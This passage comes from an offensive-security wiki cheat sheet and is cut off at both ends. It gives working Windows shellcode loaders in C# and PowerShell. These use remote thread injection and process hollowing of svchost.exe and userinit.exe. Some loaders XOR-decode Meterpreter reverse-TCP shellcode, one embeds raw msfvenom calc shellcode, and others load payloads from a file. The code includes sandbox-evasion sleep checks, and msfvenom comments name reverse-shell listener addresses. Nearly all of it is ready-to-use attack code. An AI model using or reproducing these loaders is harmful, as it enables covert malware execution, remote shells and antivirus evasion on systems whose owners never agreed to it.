# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
